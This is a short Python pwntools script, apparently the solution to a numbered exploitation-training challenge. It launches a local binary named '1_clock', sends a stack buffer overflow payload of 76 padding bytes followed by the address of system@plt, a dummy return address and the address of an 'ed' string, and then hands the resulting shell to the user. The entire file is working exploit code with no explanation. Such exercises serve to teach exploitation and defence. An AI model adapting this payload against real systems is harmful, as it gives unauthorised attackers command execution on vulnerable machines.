#!/usr/bin/python

from pwn import *

system_plt = 0x08048370
ed_str = 0x8048625

def main():
    # Start the process
    p = process("../build/1_clock")

    # Craft the payload
    payload = "A"*76
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(ed_str)
    payload = payload.ljust(96, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()
